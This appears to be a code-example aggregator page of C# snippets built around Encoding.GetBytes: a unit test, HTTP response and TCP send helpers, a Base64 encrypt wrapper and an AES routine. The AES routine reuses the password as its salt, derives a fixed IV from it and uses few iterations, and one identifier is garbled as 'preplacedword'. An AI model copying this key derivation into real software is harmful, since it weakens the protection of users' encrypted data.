se.LastValueByteCount.Is(4);
se[0].Is((ulong)858927458);
se = new UInt64BytesISegment(UTF8Encoding.UTF8.GetBytes("a1234567"));
se.Len.Is(8);
se.UInt64Count.Is(1);
se.LastValueByteCount.Is(8);
se[0].Is((ulong)3978425819141910881);
}
19
Source : HttpSender.cs
with MIT License
from 1iveowl
with MIT License
from 1iveowl
private byte[] ComposeResponse(IHttpRequest request, IHttpResponse response)
{
var stringBuilder = new StringBuilder();
stringBuilder.Append(
$"HTTP/{request.MajorVersion}.{request.MinorVersion} {(int)response.StatusCode} {response.ResponseReason}\r\n");
if (response.Headers != null)
{
if (response.Headers.Any())
{
foreach (var header in response.Headers)
{
stringBuilder.Append($"{header.Key}: {header.Value}\r\n");
}
}
}
if (response.Body?.Length > 0)
{
stringBuilder.Append($"Content-Length: {response?.Body?.Length}");
}
stringBuilder.Append("\r\n\r\n");
var datagram = Encoding.UTF8.GetBytes(stringBuilder.ToString());
if (response.Body?.Length > 0)
{
datagram = datagram.Concat(response?.Body?.ToArray()).ToArray();
}
Debug.WriteLine(Encoding.UTF8.GetString(datagram, 0, datagram.Length));
return datagram;
}
19
Source : TcpClientEx.cs
with MIT License
from 1iveowl
with MIT License
from 1iveowl
public static async Task SendStringAsync(this Stream stream, string text, CancellationToken ct)
{
var frame = Encoding.UTF8.GetBytes(text);
await stream.WriteAsync(frame, 0, frame.Length, ct);
}
19
Source : Encrypter.cs
with MIT License
from 1y0n
with MIT License
from 1y0n
public static string Encrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
}
19
Source : TcpClientEx.cs
with MIT License
from 1iveowl
with MIT License
from 1iveowl
public static async Task SendStringLineAsync(this Stream stream, string text, CancellationToken ct)
{
var frame = Encoding.UTF8.GetBytes($"{text}\r\n");
await stream.WriteAsync(frame, 0, frame.Length, ct);
}
19
Source : Encrypter.cs
with MIT License
from 1y0n
with MIT License
from 1y0n
public static string Decrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data)));
}
19
Source : Program.cs
with MIT License
from 1iveowl
with MIT License
from 1iveowl
static async Task SendResponseAsync(IHttpRequestResponse request, HttpSender httpSender)
{
if (request.RequestType == RequestType.TCP)
{
var response = new HttpResponse
{
StatusCode = (int)HttpStatusCode.OK,
ResponseReason = HttpStatusCode.OK.ToString(),
Headers = new Dictionary<string, string>
{
{"Date", DateTime.UtcNow.ToString("r")},
{"Content-Type", "text/html; charset=UTF-8" },
},
Body = new MemoryStream(Encoding.UTF8.GetBytes($"<html>\r\n<body>\r\n<h1>Hello, World! {DateTime.Now}</h1>\r\n</body>\r\n</html>"))
};
await httpSender.SendTcpResponseAsync(request, response).ConfigureAwait(false);
}
}
19
Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY
with Mozilla Public License 2.0
from 1M50RRY
private static byte[] EncryptAES(byte[] bytesToBeEncrypted, string preplacedword)
{
byte[] result = null;
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.ASCII.GetBytes(preplacedword), Encoding.ASCII.GetBytes(preplacedword), 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
See More Examples